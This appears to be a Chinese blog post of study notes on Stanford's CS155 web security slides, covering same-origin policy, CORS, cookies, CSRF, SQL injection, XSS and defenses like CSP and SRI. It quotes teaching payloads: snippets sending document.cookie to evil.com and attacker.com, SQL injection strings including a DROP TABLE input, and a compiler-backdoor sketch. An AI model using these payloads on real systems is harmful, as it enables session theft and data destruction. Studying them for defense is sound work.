..

cs155 Computer and Network Security

CS155: Computer and Network Security

作为一名没有系统学习过网络安全的学生，cs155 是我迄今为止，看过的安全领域最好的课程(PPT)。

通过看这门课程的 ppt，我终于搞懂了一些困扰了我好多年、似懂非懂的概念：

  • 浏览器为什么要
  • CORS 到底是怎么一个流程？
  • RBAC 为什么能成为一个广泛使 用的权限模型，好在哪里？RBAC 本质上是什么？

配合 chatGPT 食用

cs155 配合 chatGPT 食用效果更好。

下面是课程笔记：

01-intro

typo-squatting

李鬼。（URL拼写错误攻击或URL拼写劫持）

urllib3 —> urlib3 python-nmap —> nmap-python

what can we trust

Can we trust the “login” program in a Linux distribution? (e.g. Ubuntu)？ No! the login program may have a backdoor, records my password as I type it. Solution: recompile login program from source code.

Can we trust the login source code? No! but we can inspect the code, then recompile.

Can we trust the compiler? No! Example malicious compiler code:

compile(s) {
	if (match(s, “login-program”)) {
		compile(“login-backdoor”);
		return
	}
/* regular compilation */
}

Solution: inspect compiler source code, then recompile the compiler.

…

各种魔改的操作系统，还有盗版的付费软件，都是不安全的，都可能被注入恶意代码，悄悄执行。

我们的 IDE 在编译软件的时候，都可能会注入恶意程序。例如前几年的 xcode。

难怪现在要求自主可控，原来后门无处不在……

02-ctrl-hijacking

控制劫持攻击。

Hijacking Attacks 获取对特定系统、会话或通信的控制权，并将其转向攻击者的目标。

会话劫持（Session Hijacking）：攻击者截获合法用户的会话令牌或会话标识符，从而能够冒充该用户并在其名义下执行操作。

DNS劫持（DNS Hijacking）：攻击者篡改域名系统（DNS）的解析过程，将合法的域名解析为攻击者控制的恶意IP地址。

点击劫持（Clickjacking）：攻击者通过在一个网页上覆盖透明的恶意内容，欺骗用户在不知情的情况下点击该内容。这使得攻击者能够在用户意识不到的情况下执行恶意操作，如点击广告、执行未经授权的操作或下载恶意软件。

特洛伊攻击也是劫持攻击的一种。

03-isolation

We often need to run buggy/unstrusted code: – programs from untrusted Internet sites: mobile apps, Javascript, browser extensions – exposed applications: browser, pdf viewer, outlook – legacy daemons: sendmail, bind – honeypots

Goal: if application “misbehaves” ⇒ kill it

用隔离！chroot, sandbox, docker, VM

08-web-security-model

http

http，超文本传输协议，本质上就是一个机器之间的网络通信协议嘛。

request, response, stateless

GET 请求其实是不应该更改服务器的状态的，如果要更改，可以考虑统一使用 POST 请求。

session / cookie

http 是无状态的，那么怎么保持会话(session)的有状态呢？

在 session 增加 cookie，标记这个用户。

http response with cookie

HTTP/1.0 200 OK
Date: Sun, 21 Apr 1996 02:20:42 GMT
Server: Microsoft-Internet-Information-Server/5.0
Connection: keep-alive
Content-Type: text/html
Set-Cookie: trackingID=3272923427328234
Set-Cookie: userID=F3D947C2
Content-Length: 2543

<html>Some data... whatever ... </html>

http request with cookie

GET /index.html HTTP/1.1

Accept: image/gif, image/x-bitmap, image/jpeg, */*
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)
Cookie: trackingID=3272923427328234
Cookie: userID=F3D947C2
Referer: http://www.google.com?q=dingbats

cookie 在客户端发送请求的时候，由浏览器自动添加并发送。post 请求同样会携带 cookie。

web isolation

Site A cannot affect session on Site B or eavesdrop on Site B.

browser web security model

安全模型都是主谓宾结构，哈哈

Subject “Origins” — a unique scheme://domain:port 域

Objects DOM tree, DOM storage, cookies, javascript namespace, HW permission

Same Origin Policy (SOP) 同源策略 Goal: Isolate content of different origins

  • Confidentiality: script on evil.com should not be able to read bank.com
  • Integrity: evil.com should not be able to modify the content of bank.com

Every Window and Frame has an origin. Origins are blocked from accessing other origin’s objects.

举例子：

attacker.com cannot…

  • read or write content from bank.com tab
  • read or write bank.com’s cookies
  • detect that the other tab has bank.com loaded

即使通过 iframe 嵌入的方式，也无法盗取：

attacker.com cannot…

  • read content from bank.com frame
  • access bank.com’s cookies
  • detect that has bank.com loaded

same origin policy (SOP)

注意，同源策略，http 和 https 属于不同的源！

cookie, css, font, frame

在 attacker.com 中通过 <img> 标签请求其他源的资源：

Browser will send bank.com cookie, but SOP blocks attacker.com from reading bank.com’s cookie.

css, font, frame 都是如此:

  • Img: Browser renders cross-origin images, but SOP prevents page from inspecting individual pixels.
  • CSS, Fonts: Similar — can load and use, but not directly inspect
  • Frames: Can load cross-origin HTML in frames, but not inspect or modify the frame content. Cannot check success for Frames.

script

Scripts can be loaded from other origins. Scripts execute with the privileges of their parent frame/window’s origin. Cannot view source, but can call FNs.

iframe 通信

Inter-Frame Communication

假设有一个包含两个iframe的网页，一个iframe显示地图，另一个iframe显示相关的数据。网页的目标是在地图上点击某个位置时，数据框架能够获取并显示该位置的详细信息。

  1. 在数据框架中，通过JavaScript监听地图框架中的点击事件。
  2. 当用户在地图框架中点击某个位置时，地图框架触发一个事件，并将有关点击位置的信息作为参数传递给数据框架。
  3. 数据框架接收到事件和参数后，可以根据参数中的位置信息，获取并显示相应的数据。

在这个例子中，Inter-Frame Communication允许地图框架和数据框架之间进行跨框架的通信。通过事件的触发和参数的传递，数据框架可以获取来自地图框架的信息，并根据这些信息进行相应的处理和展示。

实现Inter-Frame Communication的方式有多种，包括使用postMessage API、共享全局变量、使用localStorage或sessionStorage等。这些方法允许在不同框架之间传递数据和触发事件，实现页面内部的通信和协作。

XMLHttpRequests SOP

xhr sop

// running on attacker.com
$.ajax({url: “https://bank.com/account“,
success: function(result){
$("#div1").html(result);
}
});
// Will this request run?
// Should attacker.com be able to see Bank Balance?

是否能发起跨源 xhr 请求？看后端是否把该源纳入可访问的源内。

Cross-Origin Resource Sharing (CORS)

  • Reading Permission: Servers can add Access-Control-Allow-Origin (ACAO) header that tells browser to allow Javascript to allow access for another origin.
  • Sending Permission: Performs “Pre-Flight” permission check to determine whether the server is willing to receive the request from the origin.

在 app.c.com 中向 api.c.com 发起 xhr 请求 Pre-Fetch：

Wildcard Origins

通配符表示所有 origin 都可以访问，开源的 api，哈哈哈哈

注意

Not all requests result in a Pre-Fetch trip!（也就是说，有一些简单的跨域请求，是不需要进行 CORS 检测，直接就可以发起的，呵呵）

“Simple” requests do not. Must meet all of the following criteria:

  1. Method: GET, HEAD, POST
  2. If sending data, content type is application/x-www-formurlencoded or multipart/form-data or text/plain
  3. No custom HTTP headers (can set a few standardized ones)

如果想要强制服务器进行 CORS 的 allow origin 检查，可以在 request headers 中塞入一个自定义的 header。

cookie 也是宾语，下面介绍一下不同的域，对 cookie 的访问政策。cookie 在定义的时候，可以定义其在哪个 path 下生效。

cookie 的同源策略有所不同！domain + path 两个！

cs.stanford.edu/zakir cannot see cookies for cs.stanford.edu/dabo (cs.stanford.edu cannot see for cs.stanford.edu/zakir either)

Cookies use a different definition of origin: (domain, path): (cs155.stanford.edu, /foo/bar).

Browser always sends cookies in a URL’s scope:

  • Cookie’s domain is domain suffix of URL’s domain: stanford.edu is a suffix of cs155.stanford.edu
  • Cookie’s path is a prefix of the URL path /courses is a prefix of /courses/cs155

其实就是一个原则：子能访问父的 cookie。对于 domain 来说，login.site.com 是 site.com 的子，对于 path 来说，/courses/cs155 是 /courses 的子。

Scoping Example（cookie 生效范围）:

而且，子能改父的 cookie。

Cookie Scoping

cookie 由 http response headers 返回给浏览器。

一个典型的 cookie header 为：

Set-Cookie: DedeUserID=72195837; Path=/; Domain=bilibili.com; Expires=Tue, 02 Apr 2024 13:35:02 GMT

这里指定了 Domain 和 Path，也就是 cookie 生效的范围。

If a Domain is set in a cookie, then the cookie will be sent to subdomain matches.

Example Cookie: Set-Cookie: id=a3fWa;

If no Domain is set in a cookie, the cookie will be sent to only exact domain matches (no subdomains). If Path is not set in a cookie, then it defaults to the current document path. If you want all pages on a site to receive a cookie set at /login, then you need to set Path=/ 上图中，cookie 没有设置 domain，表明该 cookie 只能用于默认的 domain，subdomain 不能对该 cookie 没有访问权。

浏览器在发起请求时，会自动携带 cookie

document.cookie

cs.stanford.edu/zakir cannot see cookies for cs.stanford.edu/dabo (cs.stanford.edu cannot see for cs.stanford.edu/zakir either)

Are Dan’s Cookies safe from Zakir? No, they are not.

const iframe = document.createElement("iframe");
iframe.src = "https://cs.stanford.edu/dabo";
document.body.appendChild(iframe);
alert(iframe.contentWindow.document.cookie);

If your bank includes Google Analytics Javascript, can it access your Bank’s authentication cookie?

Yes!

const img = document.createElement("image");
img.src = "https://evil.com/?cookies=" + document.cookie;
document.body.appendChild(img);

罪魁祸首：document.cookie ，这个 api 设计有问题！没考虑安全问题！

cookie with http

cookie 不区分 http 和 https！

用户在 https 下访问 bank.com 后将用户凭证存储在 cookie 中的。但是如果 hacker 诱导用户访问 http 版本的 bank.com，那么请求就会自动携带上 cookie，加上 http 是明文传输的，就导致存储在 cookie 中的用户凭证泄露了！

09-web-attacks

Session Hijacking Attacks

Capturing cookies in order to steal a user’s session — whether it be through network sniffing, malicious Javascript, or another means — is known as a Session Hijacking Attack.

Cross-Site Request Forgery(CSRF)

不是我们自己网站发出来的请求，是伪造的请求。

Cross-site request forgery (CSRF) attacks are a type of web exploit where a website transmits unauthorized commands as a user that the web app trusts.

In a CSRF attack, a user is tricked into submitting an unintended (often unrealized) web request to a website.

Cookie-Based Authentication

Cookie-based authentication is not sufficient for requests that have any side affect.

Preventing CSRF Attacks

Cookies do not indicate whether an authorized application submitted request since they’re included in every (in-scope) request. We need another mechanism that allows us to ensure that a request is authentic (coming from a trusted page).

简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。

cookie 不能作为认证的凭证，有很大的漏洞。下面给出四种补丁方案：

Four commonly used techniques:

  • Referer Validation
  • Secret Validation Token
  • Custom HTTP Header
  • SameSite Cookies

Referer Validation

The Referer request header contains the address of the previous web page from which a link to the currently requested page was followed. The header allows servers to identify where people are visiting from.

referer 是一个头信息

在头信息中，Referer 不是必带的，但是服务器可以强制要求 request 带上 Referer，用来验证是否是从自己人发出的请求。（仍然可以伪造）

referer 通常是由浏览器自动生成的。浏览器在发送请求时，会自动将当前页面的 URL 作为 Referrer的值发送给服务器。

Secret Token Validation(CSRF Token)

bank.com includes a secret value(csrf_token) in every form that the server can validate:

<form action=“https://bank.com/transfer" method="post">
	<input type="hidden" name="csrf_token" value=“434ec7e838ec3167ef5">
	<input type=“text" name="to">
	<input type=“text" name=“amount”>
	<button type="submit">Transfer!</button>
</form>

Attacker can’t submit data to /transfer if they don’t know csrf_token.

How do we come up with a token that user can access but attacker can’t?

Send session-specific token as part of the page → attacker cannot access because SOP blocks reading content.

什么时候用？ Used for any conventional HTML interactions(e.g., login form that POSTs to a URL when user clicks submit)

浏览器的 isolation 政策保证了 attacker 无法拿到另一个域的 csrf_token。

Force CORS Pre-Flight

在发起跨域请求时，有些简单的请求，不会触发服务器的 CORS Pre-Flight，去检查 origin。我们可以在请求中塞入一个定制的 header，去强制触发 CORS Pre-Flight，增强请求的安全性。

Typically developers use X-Requested-By or X-Requested-With.

Generally used when accessing REST APIs (since header can only be set using Javascript anyway)

SameSite Cookies

cookie 的 SameSite 属性。

SameSite Cookies 是一种用于控制 Cookie 在跨站点请求中是否发送的机制。在发起跨站请求的时候，浏览器总会自动携带上 cookie。那么能不能限制 cookie 的发送呢？

可以的，用 SameSite 属性。

cookie 是由服务端定义并返回给客户端的，那么 cookie 的 SameSite 属性当然也是由 response header 返回的。

Set-Cookie: cookieName=value; SameSite=Strict

SameSite属性可以设置为以下三个值之一：

  1. SameSite=None：表示Cookie可以在跨站点请求中发送，即使源自不同的站点。然而，要使用此选项，还需要设置 Secure 属性，以确保只有在安全的 HTTPS 连接下才发送Cookie。
  2. SameSite=Strict：表示 Cookie 只能在同一站点的请求中发送。跨站点请求不会包含该 Cookie。
  3. SameSite=Lax：与Strict类似，Cookie在大多数情况下只能在同一站点的请求中发送。但是，在通过GET方法进行跨站点导航时，浏览器会在请求中包含该Cookie。这是默认值。

SQL Injection

Command injection oftentimes occurs when developers try to build SQL queries that use user-provided data. Known as SQL injection.

demo

$login = $_POST['login'];
$pass = $_POST['password'];
$sql = "SELECT id FROM users
		WHERE username = '$login'
		AND password = '$password'”;
$rs = $db->executeQuery($sql);
if $rs.count > 0 {
// success
}

Bad Input

$u = $_POST['login’]; // zakir
$pp = $_POST['password']; // 123'
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = 'zakir' AND pwd = '123''”
$rs = $db->executeQuery($sql);
// SQL Syntax Error
if $rs.count > 0 {
// success
}

Malicious Input

$u = $_POST['login']; // zakir'--
$pp = $_POST['password']; // 123
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = 'zakir'-- AND pwd…”
$rs = $db->executeQuery($sql);
// (No Error)
if $rs.count > 0 {
// Success!
}

No Username Needed!

$u = $_POST['login’]; // 'or 1=1 --
$pp = $_POST['password']; // 123
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = ''or 1=1 -- AND pwd…”
$rs = $db->executeQuery($sql);
// (No Error)
if $rs.count > 0 {
// Success!
}

Causing Damage

$u = $_POST[‘login’]; // '; DROP TABLE [users] --
$pp = $_POST['password']; // 123
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = ''DROP TABLE [users]--”
$rs = $db->executeQuery($sql);
// No Error…(and no more users table)

Preventing SQL Injection

Never trust user input (particularly when constructing a command) Never manually build SQL commands yourself!

There are tools for safely passing user input to databases: • Parameterized (AKA Prepared) SQL • ORM (Object Relational Mapper) -> uses Prepared SQL internally

Cross Site Scripting(XSS)

Cross Site Scripting: Attack occurs when application takes untrusted data and sends it to a web browser without proper validation or sanitization.

Types of XSS

An XSS vulnerability is present when an attacker can inject scripting code into pages generated by a web application.

Reflected XSS.

The attack script is reflected back to the user as part of a page from the victim site. Cross Site Scripting attacker’s malicious code is executed on victim’s browser.

Stored XSS. The attacker stores the malicious code in a resource managed by the web application, such as a database. Command/SQL Injection attacker’s malicious code is executed on app’s server.

脚本注入，是有一个注入的过程，通常是通过 http 请求把恶意脚本提交给后端了。

通常是，服务端忽略了参数校验，被注入了恶意脚本，恶意脚本由后端返回给浏览器后被执行。

XSS 的危害更大！

demo

https://google.com/search?q=<search term>

<html>
<title>Search Results</title>
<body>
	<h1>Results for <?php echo $_GET["q"] ?></h1>
</body>
</html>

https://google.com/search?q=apple

<html>
<title>Search Results</title>
<body>
	<h1>Results for <?php echo $_GET["q"] ?></h1>
</body>
</html>

Sent to Browser

<html>
<title>Search Results</title>
<body>
	<h1>Results for apple</h1>
</body>
</html>

Embedded Script

https://google.com/search?q=<script>alert(“hello”)</script>

<html>
<title>Search Results</title>
<body>
	<h1>Results for <?php echo $_GET["q"] ?></h1>
</body>
</html>

Sent to Browser

<html>
<title>Search Results</title>
<body>
	<h1>Results for <script>alert(“hello")</script></h1>
</body>
</html>

Cookie Theft!

https://google.com/search?q=<script>…</script>

<html>
	<title>Search Results</title>
	<body>
		<h1>Results for 
		<script>
			window.open(“http:///attacker.com?”+cookie=document.cookie)
		</script>
		</h1>
	</body>
</html>

MySpace Bug

MySpace allowed users to post HTML to their pages(QQ 空间). Filtered out: <script>, <body>, onclick, <a href=javascript://>

Missed one. You can run Javascript inside of CSS tags. <div style="background:url('javascript:alert(1)')">

Prevent Malicious Script

太难了，注入的方式千奇百怪。

For a long time, the only way to prevent XSS attacks was to try to filter out malicious content.

Validate all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what is allowed.

19-web-defenses

一些 web 防御策略

Content-Security-Policy（CSP）

CSP 是资源类型白名单。

CSP 和 Cookie 一样，都是由后端定义，由 http response 在 header 中返回的规则，用来指定资源加载的白名单策略。

You’re always safer using a whitelist rather than blacklist-based approach.(白名单要比黑名单更靠谱，拉黑是拉不完的)

Content-Security-Policy is an HTTP header that servers can send that declares which dynamic resources (e.g., Javascript) are allowed. Good News: CSP eliminates XSS attacks by whitelisting the origins that are trusted sources of scripts and other resources and preventing all others. Bad News: CSP headers are complicated and folks frequently get the implementation incorrect.

demo: default-src directive defines the default policy for fetching resources such as JavaScript, images, CSS, fonts, AJAX requests, frames, HTML5 media.

Content-Security-Policy: default-src 'self' cdn.com;

→ Dynamic resources can only be loaded from same domain and CDN → No content from any other origins will be executed → no inline <script></script> or <style> will be executed

iframe protection

对 iframe 进行加固。

sandbox

HTML5 Sandboxes allow further privilege separation even if iFrame is from the same origin.

<iframe src="untrusted.html" sandbox></iframe>

• Plugins are disabled. • Script execution is blocked • Form submission is blocked • The content is treated as if it was from a globally unique origin. Meaning, all APIs which require same-origin (such as localStorage, XMLHttpRequest, and access to the DOM of other documents) are blocked. • The content is blocked from navigating the top level window or other frames • Popup windows are blocked

Content-Security-Policy frame-ancestors

Content-Security-Policy 中的 frame-ancestors 是一个指令，用于控制网页的 <iframe> 元素可以嵌入到哪些父级文档中。它定义了允许嵌入当前网页的父级文档来源。

允许所有来源: 上述指令允许任何网页都可以嵌入当前网页的 <iframe> 元素。

Content-Security-Policy: frame-ancestors *

允许特定来源:

Content-Security-Policy: frame-ancestors example.com

允许多个来源：

Content-Security-Policy: frame-ancestors example.com example.net

不允许被嵌入

Content-Security-Policy: frame-ancestors 'none'

frame-ancestors 指令仅对支持 Content-Security-Policy 的浏览器有效，并且仍然可以通过其他方式绕过此策略。确保正确配置 Content-Security-Policy 是增强网页安全性的一部分，但不应作为唯一的安全防护措施。

Sub-Resource Integrity(SRI)

第三方的资源是否安全？那肯定不安全！

Question: how do you safely load an object from a third party service?

<script src="https://code.jquery.com/jquery-3.4.0.js"></script>

If code.jquery.com is compromised, your site is too!

如何加固？SRI 对资源进行数字签名，然后校验

<script 
	src="https://code.jquery.com/jquery-3.4.0.js"
	integrity="sha359-9/xxxxxx/xxx"
>
</script>

Browser:

  1. load sub-resource
  2. compute hash of contents
  3. compare value to the integrity attribute if hash mismatch, script or css are not executed and an error is raised.

强制对资源进行 hash 完整性校验。

Content-Security-Policy: require-sri-for script style;

requires SRI for all scripts and style sheets on page.

Cookies have no integrity

cookie 没有完整性，可以被随意修改

Users can change and delete cookie values.

Shopping cart software Set-cookie: shopping-cart-total = 150 ($) User edits cookie file (cookie poisoning): Cookie: shopping-cart-total = 15 ($)

Similar problem with localStorage and hidden fields: <INPUT TYPE=“hidden” NAME=price VALUE=“150”>

HTTP auth

Basic Authentication

Basic authentication is a simple authentication scheme built into the HTTP protocol. The client sends HTTP requests with the Authorization header that contains the word Basic word followed by a space and a base64-encoded string username:password. For example, to authorize as demo / p@55w0rd the client would send

Authorization: Basic ZGVtbzpwQDU1dzByZA==

Note: Because base64 is easily decoded, Basic authentication should only be used together with other security mechanisms such as HTTPS/SSL.

一个完整的 basic auth 请求：

  1. http request: GET /index.html
  2. http response header contains: WWW-authenticate: Basic realm="Password Required"
  3. 用户输入账户密码登录
  4. browser sends base64encoded auth string on all subsequent http request header: Authorization: Basic ZGVtbzpwQDU1dzByZA==

SpringSecurity 默认的认证方式就是 Basic Authentication，Eureka Server 的默认认证方式，也是 Basic Authentication。

basic authentication 的缺点：

  1. 不能注销登录，也就不支持多用户登录，离谱
  2. 登录方式是统一的弹出对话框的方式，是 chrome 决定的，不好改
  3. 只是对明文进行编码，并没有加密，呵呵

Session Management Today

基于 Cookie 的认证

实现登出

Web sites must provide a logout function:

  • Functionality: let user to login as different user
  • Security: prevent others from abusing account

What happends during logout:

  • delete session token from client
  • mark session token as expired on server

第三方Cookie的实现原理涉及多个参与方，包括网站 A、网站 B 和用户浏览器。下面是它的基本实现原理：

  1. 用户访问网站 A：当用户在浏览器中访问网站 A 时，网站 A 可以在用户的浏览器中设置自己的Cookie。这些Cookie通常用于记录用户会话信息、个性化设置等。

  2. 网站 A 包含第三方资源：网站 A 可能会包含来自其他域名的第三方资源，例如广告、社交媒体插件、分析代码等。这些资源在网站 A 的页面中嵌入了来自网站 B 的内容。

  3. 第三方Cookie的设置：当浏览器加载网站 A 的页面时，其中包含的第三方资源会发送请求到网站 B 的服务器。作为响应，网站 B 的服务器可以在用户的浏览器中设置第三方Cookie。这个Cookie是由网站 B 所拥有和控制的。

  4. 跨域访问：由于第三方资源来自不同的域名（例如，网站 A 和网站 B），根据同源策略，浏览器会阻止网站 A 的JavaScript代码直接访问网站 B 设置的Cookie。然而，浏览器仍然会在请求中包含第三方Cookie，以便在将来访问网站 B 时发送给它。

  5. 跨站点追踪：当用户浏览其他页面并访问与网站 B 相关的网站时，浏览器会自动将包含网站 B 的第三方Cookie的请求发送给网站 B。这样，网站 B 就可以识别用户并跟踪他们在不同网站上的行为，以便进行广告定向或其他分析。

需要注意的是，由于隐私和安全的考虑，现代浏览器对第三方Cookie的限制越来越多。许多浏览器默认情况下阻止或限制了第三方Cookie的设置和访问，以保护用户的隐私。这导致广告和分析行业不得不寻找替代方案来适应这些变化。

summary

Best Advice: Use a modern web framework — many security precautions are built in today — but don’t assume!

Protect Against CSRF: Never depend on cookies to signal user intent! Use CORS Pre-Flight or CSRF Tokens. Set cookies as sameSite and secure.

Protect Against XSS: Set a Content Security Policy and do not use any inline scripts. Use httpOnly cookies.

Protect Against SQL Injection: Use Parameterized SQL or Object Relational Mapper (ORM)

Protect Against Data Breach: Use modern hashing algorithm like BCRYPT and salt passwords

Protect Against Clickjacking: Set Content Security Policy that prevents you from being shown in an IFRAME.

Protect Against Malicious Third Parties: Use Iframes, CSP, and HTML5 Sandboxes

Protect Against Compromised Third Parties: Use Sub-Resource Integrity Headers

Protect Against Credential Compromise and Phishing: Use U2F